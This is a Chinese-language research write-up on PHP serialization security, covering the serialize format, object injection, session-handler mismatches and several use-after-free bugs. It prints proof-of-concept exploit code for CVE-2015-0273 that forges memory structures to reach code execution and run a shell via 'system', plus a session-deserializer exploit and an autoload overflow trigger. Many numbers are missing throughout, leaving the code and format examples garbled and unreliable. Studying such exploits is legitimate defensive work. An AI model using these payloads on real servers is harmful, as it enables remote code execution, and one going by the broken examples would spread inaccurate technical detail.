PHP serialize && unserialize Security Risk Research

. 序列化的定义

. serialize：序列化

. unserialize：反序列化

. 序列化、反序列化存在的安全风险

. Use After Free Vulnerability in unserialize() with DateTime* [CVE--]

. PHP中的内存破坏漏洞利用(CVE--8142和CVE--)

. PHP多种序列化、反序列化处理机制不同导致对象注入

. 序列化/反序列化在开源CMS上存在的漏洞

. pch-.md: Use After Free Vulnerabilities in Session Deserializer

. 反序列化和PHP自动加载(__autoload()、spl_autoload_register())组合产生入侵向量

1. 序列化的定义

序列化在计算机科学中通常有以下定义:

. 对同步控制而言，表示强制在同一时间内进行单一存取

. 在数据储存与传送的部分是指将一个对象存储至一个储存媒介，例如档案或是记亿体缓冲等，或者透过网络传送资料时进行编码的过程，可以是字节或是XML等格式。而字节的或XML编码格式可以还原完全相等的对象。这程序被应用在不同应用程序之间传送对象，以及服务器将对象储存到档案或数据库。相反的过程又称为反序列化

序列化有多个优点

. 一个简单和持久的方法使对象持续

. 一个发起远程过程调用的方法，例如在SOAP内的

. 一个分发对象的方法，尤其是在如COM及CORBA的软件组件化内

Relevant Link:

http://zh.wikipedia.org/wiki/%E5%BA%8F%E5%88%97%E5%8C%96

http://baike.baidu.com/view/160029.htm

2. serialize：序列化

serialize: 产生一个可存储的值的表示
serialize() 返回字符串，此字符串包含了表示 value 的字节流，可以存储于任何地方。这有利于存储或传递 PHP 的值，同时不丢失其类型和结构
serialize() 可处理除了 resource 之外的任何类型，包括

. 指向其自身引用的数组

. serialize() 的数组／对象中的引用也将被存储(引用本身也会被序列化)

. ...

从本质上来讲，序列化的过程是一个"对象(广义上的对象，包括integer、float、string、array、object)"进行"对象销毁"，然后转换为一个通用的中间可存储字符串，在整个序列化过程中，对象经历的声明周期如下

. __sleep(): 在执行对象销毁前获得执行权限

. __destruct()：执行实际的对象销毁操作

code

<?php

    class Connection

    {

        var $protected_var;

        var $private_var;

        public function __construct($server, $username, $password, $db)

        {

            echo "function __construct() is called" . "</br>";

            $this->protected_var = "protected_var";

            $this->private_var = "private_var";

        }

        function __destruct()

        {

            echo "function __destruct() is called" . "</br>";

           }

        public function __sleep()

        {

            echo "function __sleep() is called" . "</br>";

        }

        public function __wakeup()

        {

            echo "function __wakeup() is called" . "</br>";

        }

    }

    //initialize a var

    $obj = new Connection();

    //var_dump($obj);

    $result = serialize($obj);

    //var_dump($result);

    unserialize($result);

?>

Relevant Link:

http://php.net/manual/zh/function.serialize.php

http://php.net/manual/zh/language.oop5.magic.php#object.wakeup

http://php.net/manual/zh/language.oop5.decon.php

0x1: 序列化字符串格式

. a – array: 复合类型

. b – boolean: 标量类型

. d – double: 标量类型

. i – integer: 标量类型

. o – common object 

. r – reference: 对象引用 

. s – string: 标量类型

. C – custom object: C 是 PHP5 中引入的，它表示自定义的对象序列化方式

. O – class: 复合类型

. N – null: N 表示的是 NULL

. R – pointer reference: 指针引用 

. U – unicode string: U 是 PHP6 中才引入的，它表示 Unicode 编码的字符串。因为 PHP6 中提供了 Unicode 方式保存字符串的能力，因此它提供了这种序列化字符串的格式

0x2: NULL和标量类型的序列化

NULL和标量类型的序列化是最简单的，也是构成复合类型序列化的基础

. NULL 的序列化

在 PHP 中，NULL 被序列化为: N;

. boolean 型数据的序列化

boolean 型数据被序列化为: b:; 或 b:;

. integer 型数据的序列化

integer 型数据(整数)被序列化为: i:- ~ ;

数字前可以有正负号，如果被序列化的数字超过这个范围，则会被序列化为浮点数类型而不是整型。如果序列化后的数字超过这个范围(PHP 本身序列化时不会发生这个问题)，则反序列化时，将不会返回期望的数值 

. double 型数据的序列化

double 型数据(浮点数)被序列化为:d:double float;

其范围与 PHP 中浮点数的范围一样。可以表示成整数形式、浮点数形式和科学技术法形式。如果序列化后的数字范围超过 PHP 能表示的最大值，则反序列化时返回无穷大(INF)，如果序列化后的数字范围超过 PHP 所能表示的最小精度，则反序列化时返回 

．string 型数据的序列化

string 型数据(字符串)被序列化为:s:length:"";

前一个冒号中的是长度，是非负整数，数字前可以带有正号(+)。后面的冒号中为字符串值，这里的每个字符都是单字节字符，其范围与 ASCII 码的  –  的字符相对应。每个字符都表示原字符含义，没有转义字符， 两边的引号("")是必须的，但不计算在长度当中

0x3: 简单复合类型的序列化

. 数组序列化: a::{i:;s::"prefix";s::"payload";s::"attack";}

    ) a:2表示数组元素的个数

    ) i:0表示数组元素的下标

    ) s::"prefix"表示与下标对应的数组元素的值

    ) s::"payload"表示数组下标payload

    ) s::"attack"表示对应下标的值

. 对象序列化: O::"Foo"::{s::"var1";i:;s::"var2";i:;s::"*var3";i:;s::"Foovar4";i:;}

    ) O::"Foo": 代表对象的类名长度，以及类名字符串

    ) :: 代表该对象有4个成员

    ) var 和 public 声明的字段都是公共字段，因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化，但序列化后的字段名中不包括声明时的变量前缀符号 $

    ) protected 声明的字段为保护字段，在所声明的类和该类的子类中可见，但在该类的对象实例中不可见。因此保护字段的字段名在序列化时，字段名前面会加上\*\0的前缀。这里的 \ 表示 ASCII 码为  的字符，而不是 \ 组合

    ) private 声明的字段为私有字段，只在所声明的类中可见，在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时，字段名前面会加上\\0的前缀。这里 表示的是声明该私有字段的类的类名，而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类，而有可能是它的祖先类

//字段名被作为字符串序列化时，字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的

0x4: 嵌套复合类型的序列化

在PHP中，复合类型数据(对象和数组)是引用传递的，但是引用传递也分为两类

. 对象引用: 普通的符合类型数据赋值就是对象引用

. 指针引用: 赋值对象前加上&的赋值就是指针引用

看下面的例子

<?php

class SampleClass

{

    var $value;

}

$a = new SampleClass();

$a->value = $a;

$b = new SampleClass();

$b->value = &$b;

$a->value = ;

$b->value = ;

var_dump($a);

var_dump($b);

?>

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOoAAABLCAIAAADxtoxSAAADb0lEQVR4nO2c4XHjIBBG+ZXy0kcKySSTElJCrpCU5ftxOQ1mYbUgFOmT3xtPRkawrMwTRnLs9PX1hwcP0Ue6AciCviAM+oIw6AvCoC8Ig74gDPqCMOgLwqAvCIO+IIyAvikJJDlM6+jSf5yGfoVHoOvgv99+XrG3b69Ca+8I1eFJGdvjB+PYTifmECy0e9G3i/mC+jHt8OwxYKuu+LPgHr2vzruzepfm1PqewV2/wqx8uo4034W+DstqYdErL8md82tWq6WUXl5SwZ3E1UFtzVXLriJiUcFGaPWyRHNeIBuqiG/7baXnR27t8tO7PM7B55Pisl0ttE262nbMvreawXY47d/qhv+0V9/qdtBL9B1jV31ziratju6TC79r2/my5a6znccpZsdIDkUaeYmtEwkV6RR9W8yafasBI+UhfXMbpug79tSm4R/IqoXoG+HUi4db4B3Zbvv6Bo0smtuaq2k4vazWdwrRN2fWpVteP3jpZr2vSGxnuKoKObdMvnwjb2ubtLpwSpzyVlathvaldw7Tr/ZQzD34PW6rTRihM49xK7fWuRqv8AhMOfjWnHo8jPG1YVxBGPQFYdAXhLmUvocsc1lbH8hZBrt1jdVrxphJG6/wxhq+f7yOdbeR58+nQ/rdgwOmDf9m0E6R92u+pdOgwRNn9+fPJ/Td0N9u7m7nkARmzcHx5NHXRKl9nlTdrn7stNSxAVsddWVlG1bj2ARa272iv3+8Fo9ib1e0Kui7LVDPPyTcai/3akkrciSreIaR5OMJBHEMLs6W6vnfdVKhr4kSsyToSrDCcGLLUyuB3zbdM5BPldXZt5XY2OmEvibKWfWtdu0nWX1aDRLHWTxEVg7o22Kyvi2PJ64ceh3yz5xjFw9jdx7Qd2HCGLTeT1ObVp1qSVFzLEMn57H0BtIoiLub92iTKWr60f7dOLuMwXP03R4EYIBN5k2cigAGwDwQBn1BGPQFYdAXhEFfEAZ9QRj0BWHQF4RBXxAGfUEY9AVh0BeEQV8QBn1BGPQFYdAXhEFfEOZX9b3MV6zgJKzoO/GLQFf6hiCchF/9qib6wlzQF4TxzHN+9MAWRjpDX5hL39o38fsucCbQF4RBXxBmfe3Lr2vBaeFTNxAGfUEY9AVh0BeEQV8QBn1BGPQFYdAXhEFfEAZ9QRj0BWH+Ap+1OkZzRLc4AAAAAElFTkSuQmCC" alt="" />

改变 $a->value 的值仅仅是改变了 $a->value 的值，而改变 $b->value 的值却改变了 $b 本身，这就是对象引用和指针引用的区别

0x5: 引用标示后的数字

对象引用(r)和指针引用(R)的格式为

r:number;

R:number;

这个number，就是所引用的对象在序列化串中第一次出现的位置，但是这个位置不是指字符的位置，而是指对象（这里的对象是泛指所有类型的量，而不仅限于对象类型）的位置

<?php

class ClassA

{

  var $int;

  var $str;

  var $bool;

  var $obj;

  var $pr;

}

$a = new ClassA();

$a->int = ;

$a->str = “Hello”;

$a->bool = false;

$a->obj = $a;

$a->pr = &$a->str;

echo serialize($a);

?>

aaarticlea/png;base64,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" alt="" />

. 在这个例子中，首先序列化的对象是 ClassA 的一个对象，那么给它编号为

. 接下来要序列化的是这个对象的几个成员，第一个被序列化的成员是 int 字段，那它的编号就为

. 接下来被序列化的成员是 str，那它的编号就是

. 依此类推，到了 obj 成员时，它发现该成员已经被序列化了，并且编号为 ，因此它被序列化时，就被序列化成了 r:;

. 在接下来被序列化的是 pr 成员，它发现该成员实际上是指向 str 成员的一个引用，而 str 成员的编号为 ，因此，pr 就被序列化为 R:; 了

PHP 是如何来编号被序列化的对象的呢

. PHP 在序列化时，首先建立一个空表

. 然后每个被序列化的对象在被序列化之前，都需要先计算该对象的 Hash 值，然后判断该 Hash 值是否已经出现在该表中了

. 如果没有出现，就把该 Hash 值添加到这个表的最后，返回添加成功

. 如果出现了，则返回添加失败，但是在返回失败前先判断该对象是否是一个引用(用 & 符号定义的引用)，如果不是则也把 Hash 值添加到表后(尽管返回的是添加失败)

. 如果返回失败，则同时返回上一次出现的位置

. 在添加 Hash 值到表中之后，如果添加失败，则判断添加的是一个引用还是一个对象，如果是引用，则返回 R 标示，如果是对象，则返回 r 标示。因为失败时，会同时返回上一次出现的位置，因此，R 和 r 标示后面的数字，就是这个位置

0x6: 对象引用的反序列化

PHP 在反序列化处理对象引用时很有意思，如果反序列化的字符串不是 PHP 的 serialize() 本身生成的，而是人为构造或者用其它语言生成的，即使对象引用指向的不是一个对象，它也能正确地按照对象引用所指向的数据进行反序列化

<?php

class StrClass

{

    var $a;

    var $b;

}

$a = unserialize('O:8:"StrClass":2:{s:1:"a";s:5:"Hello";s:1:"b";r:2;}');

var_dump($a);

?>

aaarticlea/png;base64,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" alt="" />

大家会发现，上面的例子反序列化后，$a->b 的值与 $a->a 的值是一样的，尽管 $a->a 不是一个对象，而是一个字符串。因此如果大家用其它语言来实现序列化的话，不一定非要把 string 作为标量类型来处理，即使按照对象引用来序列化拥有相同字符串内容的复合类型，用 PHP 同样可以正确的反序列化。这样可以更节省序列化后的内容所占用的空间

3. unserialize：反序列化

从已存储的表示中创建 PHP 的值
unserialize() 对单一的已序列化的变量进行操作，将其转换回 PHP 的值

在反序列化中，经历的对象声明周期为

. __construct()：执行对象注册、包括对象中成员的注册

. __wakeup：在构造函数执行后获得执行权限

Relevant Link:

http://php.net/manual/zh/function.unserialize.php

4. 序列化、反序列化存在的安全风险

0x1: 对象注入

<?php

    #GOAL: get the secret;

    class just4fun

    {

        var $enter;

        var $secret;

    }

    if (isset($_GET['pass']))

    {

        $pass = $_GET['pass'];

        if(get_magic_quotes_gpc())

        {

        $pass=stripslashes($pass);

        }

        $o = unserialize($pass);

        if ($o)

        {

        $o->secret = "?????????????????????????????";

        if ($o->secret === $o->enter)

            echo "Congratulation! Here is my secret: ".$o->secret;

        else

            echo "Oh no... You can't fool me";

        }

        else echo "are you trolling?";

    }

?>

serialize一个just4fun的对象，序列化之前先进行引用赋值

$o->enter = &$o->secret

0x2: PHP Session 序列化及反序列化处理器

http://drops.wooyun.org/tips/3909

0x3: 基于序列化、反序列化的Webshell隐藏技巧

http://www.cnblogs.com/LittleHann/p/3522990.html

搜索：0x22: PHP的序列化、反序列化特性布置后门

Relevant Link:

http://drops.wooyun.org/papers/660

5. Use After Free Vulnerability in unserialize() with DateTime [CVE-2015-0273]

A use-after-free vulnerability was discovered in unserialize() with DateTime/DateTimeZone objects's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

0x1: Affected Versions

Affected is PHP 5.6 < 5.6.

Affected is PHP 5.5 < 5.5.

Affected is PHP 5.4 < 5.4.

Affected is PHP 5.3 <= 5.3.

0x2: 漏洞源代码分析

\php-src-master\ext\date\php_date.c

static int php_date_initialize_from_hash(php_date_obj **dateobj, HashTable *myht)

{

    zval             *z_date;

    zval             *z_timezone;

    zval             *z_timezone_type;

    zval              tmp_obj;

    timelib_tzinfo   *tzi;

    php_timezone_obj *tzobj;

    z_date = zend_hash_str_find(myht, "date", sizeof("data")-);

    if (z_date) {

        convert_to_string(z_date);

        z_timezone_type = zend_hash_str_find(myht, "timezone_type", sizeof("timezone_type")-);

        if (z_timezone_type) {

            convert_to_long(z_timezone_type);

            z_timezone = zend_hash_str_find(myht, "timezone", sizeof("timezone")-);

            if (z_timezone) {

                convert_to_string(z_timezone);

...

The convert_to_long() leads to the ZVAL and all its children is freed from memory. However the unserialize() code will still allow to use R: or r: to set references to that already freed memory. There is a use after free vulnerability, and allows to execute arbitrary code.

0x3: poc

<?php

$f = $argv[];

$c = $argv[];

$fakezval1 = ptr2str(0x100b83008);

$fakezval1 .= ptr2str(0x8);

$fakezval1 .= "\x00\x00\x00\x00";

$fakezval1 .= "\x06";

$fakezval1 .= "\x00";

$fakezval1 .= "\x00\x00";

$data1 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval1).':"'.$fakezval1.'";i:2;a:1:{i:0;R:4;}}';

$x = unserialize($data1);

$y = $x[];

// zend_eval_string()'s address

$y[][] = "\x6d";

$y[][] = "\x1e";

$y[][] = "\x35";

$y[][] = "\x00";

$y[][] = "\x01";

$y[][] = "\x00";

$y[][] = "\x00";

$y[][] = "\x00";

$fakezval2 = ptr2str(0x3b296324286624); // $f($c);

$fakezval2 .= ptr2str(0x100b83000);

$fakezval2 .= "\x00\x00\x00\x00";

$fakezval2 .= "\x05";

$fakezval2 .= "\x00";

$fakezval2 .= "\x00\x00";

$data2 = 'a:3:{i:0;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;i:1;}s:8:"timezone";s:3:"UTC";}i:1;s:'.strlen($fakezval2).':"'.$fakezval2.'";i:2;O:12:"DateTimeZone":2:{s:13:"timezone_type";a:1:{i:0;R:4;}s:8:"timezone";s:3:"UTC";}}';

$z = unserialize($data2);

function ptr2str($ptr)

{

    $out = "";

    for ($i=; $i<; $i++) {

        $out .= chr($ptr & 0xff);

        $ptr >>= ;

    }

    return $out;

}

?>

gdb php
run uafpoc.php assert "system$'sh'$==exit"

Relevant Link:

https://github.com/80vul/phpcodz/tree/master/research

6. PHP中的内存破坏漏洞利用(CVE-2014-8142和CVE-2015-0231)

待研究

Relevant Link:

http://drops.wooyun.org/papers/4864

7. PHP多种序列化、反序列化处理机制不同导致对象注入

PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化，常用的有以下三种，对应三种不同的处理格式

. php: 键名 | 经过 serialize() 函数反序列处理的值

. php_binary: 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值

. php_serialize(php>=5.5.): 经过 serialize() 函数反序列处理的数组

0x1: ini_set("session.serialize_handler", "php");

0x2: ini_set("session.serialize_handler", "php_serialize");

0x3: ini_set("session.serialize_handler", "php_binary");

0x4: 安全隐患

构造通过ini_set("session.serialize_handler", "php_serialize");方式生成的SESSION本地化文件

D:\wamp\tmp

a::{s::"ryat";s::"|O:8:"stdClass":0:{}

然后通过PHP默认的ini_set("session.serialize_handler", "php");方式从磁盘上load这个SESSION文件

<?php

    session_start();

    ini_set("session.serialize_handler", "php");

    var_dump($_SESSION);

?>

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAANkAAABHCAIAAAAFsHUSAAAD+klEQVR4nO2cXXLrIAyF2W4X0kmnG8uyuA/J9WD0gwBjH6fnmz7EREgCjoXtSZ0yIRikqxMg5A21SFCgFgkK1CJBgVokKFCLBAVqkaBALRIUqEWCArVIUADVYkpXJnZt9D8L4qRHpHCsXKQ3yvF84Gb8fBGklKhFBLBm/BIFqEGpxfMpZ/z5SBuPZ9HyeG5fPZ5uozwszDa3djZ7BaQ9ZYtvJi2TwArqNJKlbDP+UkwpwZ0c9zKqGtW+lkM3GyGyppn6WX6IB413JMdSzbhVGisZOY113/91sVuIufNKziqBvUGdEGQpco+OlDTZaPad0aLa3pSsZcANGpzgHu1r0bGPCjGPatHZlyNFMV53yWqse5cXX1+7w+oK0mn0pWyksi9XVRlTC5vf2AwnzSjEC1k69R1CfHGtFCjEa1k0+x3PcQh5wUpAUKAWCQrUIkGhW4uRW9SjWBdruzdf4fy0EGNpnLmCXYzkNDmSePfhQH7HOwpRPoGKPLqy0hhL7Of3e6BXnJG6OBWv56QcizW8QsNYi31UiEqCaovT8cBnqEvliPIbrUnLqsvJe9DqcMNaXME6OS7fRFRL2dHyKf07IbbP8RDSJu2RQ1O/CtZ7tYKq/n0PlhaDaTT5+f2u/qpv50NIVm0ieVqLznRbfWe06HizPFvh4nTNWzMNv++xrJDjkXkHy0N8srpm2VqeOGrRstqrSjYQrnTVm978YGeArou5p0iMaTHSt2u7jIeTVdb6MEzvpK3WorNHo18vrtijs7HYkWI5vEdHXPnpdRGcN/+cPHOPvsd9dNqTjXmRdSuoRbXgzYdQ81dzcEYaDCG9qUGtYaoRIxNyFHDPF89k9VkeSQDc4SfBqdFRqw5ZCueaoEAtEhSoRYLCh2sR/4LPybB5zfphF7WnDUN9/4Q0OPKfY+YXSX3asjUeJQXLg6/CiNm9OHMYx6vN9xlcpGbt8W3O16I8QyYTAOFjtRhfoUj5WSdEx08wKLXYxHxr2b6xaamaJfEegVqRcoUqa7VFWqquIlGsoFYmEedqu5PevVg0jIE3j/lmXa9YybnndxXW0g5oMYmtMygyajEDa7Gk6msF2g/MqFi+WVBMVohs1MVmJnEtxs+x2wGrxchb9pz2waLS1KI0KA9LCTaTcVx1NVKLPtfv0Tm2llWJkvXMF5912KXF4Gkjs/W73w6Ee5fSPnjv4rwktxibewNRflUdVpbWoeVNxfevzqDl3De7LzjDWPHE5wbr5GRoiS9ucC8uHwbfSEbeXK5FQt5QiwQFapGgQC0SFKhFggK1SFCgFgkK1CJBgVokKFCLBAVqkaBALRIUqEWCArVIUKAWCQrUIkGBWiQoUIsEhX+3gET0T/TFRAAAAABJRU5ErkJggg==" alt="" />

造成反序列化对象注入

Relevant Link:

http://drops.wooyun.org/tips/3909

8. 序列化/反序列化在开源CMS上存在的漏洞

Relevant Link:

http://drops.wooyun.org/papers/596

9. pch-031.md: Use After Free Vulnerabilities in Session Deserializer

Multiple use-after-free vulnerabilities were discovered in session deserializer (php/php_binary/php_serialize) that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

<?php

session_start();

$fakezval = ptr2str();

$fakezval .= ptr2str();

$fakezval .= "\x00\x00\x00\x00";

$fakezval .= "\x01";

$fakezval .= "\x00";

$fakezval .= "\x00\x00";

$exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}';

//$exploit = 'ryat|a:1:{i:0;i:1;}ryat|i:1;chtg|R:1;';

session_decode($exploit);

for ($i = ; $i < ; $i++) {

    $v[$i] = $fakezval.$i;

}

var_dump($_SESSION);

function ptr2str($ptr)

{

    $out = "";

    for ($i = ; $i < ; $i++) {

        $out .= chr($ptr & 0xff);

        $ptr >>= ;

    }

    return $out;

}

?>

When session deserializer (php/php_binary) deserializing multiple data it will call to php_var_unserialize() multiple times. So we can create ZVAL and free it via the php_var_unserialize() with a crafted serialized string, and also free the memory (reduce the reference count of the ZVAL to zero) via zval_ptr_dtor() with deserialize two identical session data, then the next call to php_var_unserialize() will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely.
In some other cases, session deserializer (php/php_binary/php_serialize) may also lead to use-after-free vulnerabilities: i) via crafted Serializable::unserialize() ii) via unserialize()'s callback function and zend_lookup_class() call a crafted __autoload().

Relevant Link:

https://github.com/80vul/phpcodz/blob/master/research/pch-031.md

待研究

http://www.ptsecurity.com/upload/iblock/dac/daca495893852753dac1d0b17f51df19.pdf

https://sektioneins.de/en/blog/14-08-27-unserialize-typeconfusion.html

10. 反序列化和PHP自动加载(__autoload()、spl_autoload_register())组合产生入侵向量

0x1: spl_autoload_register自身存在的binary漏洞

<?php

    $buffer = str_repeat("A",);

    spl_autoload_register($buffer);

    ## Or..

    # spl_autoload_register($buffer,,); #Should work too.

?>

0x2: __autoload() —— 自动加载函数

__autoload — 尝试加载未定义的类，可以通过定义这个函数来启用类的自动加载

